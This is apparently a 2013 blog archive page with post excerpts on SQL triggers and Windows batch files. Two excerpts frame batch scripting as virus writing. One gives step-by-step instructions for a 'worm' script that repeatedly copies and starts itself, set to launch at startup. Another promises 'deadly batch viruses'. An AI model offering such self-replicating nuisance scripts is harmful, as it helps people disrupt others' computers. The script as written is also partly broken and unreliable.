Posts

Showing posts from December, 2013

Trigger In Sql

What is a Trigger? A trigger is a pl/sql block structure which is fired when a DML statements like Insert, Delete, Update is executed on a database table. A trigger is triggered automatically when an associated DML statement is executed. Syntax of Triggers Syntax for Creating a Trigger CREATE [OR REPLACE ] TRIGGER trigger_name {BEFORE | AFTER | INSTEAD OF } {INSERT [OR] | UPDATE [OR] | DELETE} [OF col_name] ON table_name [REFERENCING OLD AS o NEW AS n] [FOR EACH ROW] WHEN (condition) BEGIN --- sql statements END; CREATE [OR REPLACE ] TRIGGER trigger_name - This clause creates a trigger with the given name or overwrites an existing trigger with the same name. {BEFORE | AFTER | INSTEAD OF } - This clause indicates at what time should the trigger get fired. i.e for example: before or after updating a table. INSTEAD OF is used to create a trigger on a view. before and after cannot be used to create a trigger on a v

How to Make an Easy Worm Virus With Two Lines of Code

Image
How to Make an Easy Worm Virus With Two Lines of Code This will teach you how to create an easy virus with simple steps and two lines of code. Steps 1 Log on to your computer as an administrator. 2 Go on C drive and create a folder, name it "Programs" 3 Open up notepad and type in "@echo off" 4 Then, write "Copy C: \Programs\virus.bat C:\Programs" on the second line. On the third line write "Start C:\Programs\virus.bat". 5 Click "Save as" and save as virus. bat in the file (Programs) you just made. 6 If you want the worm to start whenever the computer starts, right click on "virus. bat" and click create shortcut. A shortcut will be made on programs. 7 Right click on the shortcut icon and click "cut". 8 Right click on the shortcut and click "copy". 9 Right cli

Writing Your Own Batch File

Image
Writing Your Own Batch File 1 Open Notepad in Windows. Notepad will allow you to create a file without unnecessary coding. You can do this by navigating to Start -> Programs -> Accessories -> Notepad . 2 Save your file before you get started. This will prevent your work from being a totally lost later. Click File -> Save , and choose a file name. Save the file somewhere on the Desktop. Click the dropdown menu under "Save as type" and select "All files" instead of Text (.txt). Add the extension .bat to the end of the file name. For instance, you might save a test file called "test.bat". Click Save. If you did this correctly, you should see your file name in the title bar of Notepad. 3 Type @echo off into the first line of your batch file. This will stop several lines of repetitive output from showing up in your command screen when you execute the batch file. Observe the

Batch Files - the art of creating viruses

Image
Batch Files - the art of creating viruses I could just you give the  codes to paste  in notepad and  ask you to save files with extension .bat and   your deadly batch viruses would be ready. But instead of that, I have focussed on making the basics of batch files clear and developing the approach to code your own viruses. What are Batch Files ? Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes. Now type these commands one by one 1. md x  //makes directory 'x' on desktop 2. cd x  // changes current directory to 'x' 3. md y // makes a directory 'y' in directory 'x'      We first make a folder/directory 'x', then enter in folder  'x',then make a folder 'y' in folder 'x' .  Now delete the folder 'x'. Lets do the same thing in an other wa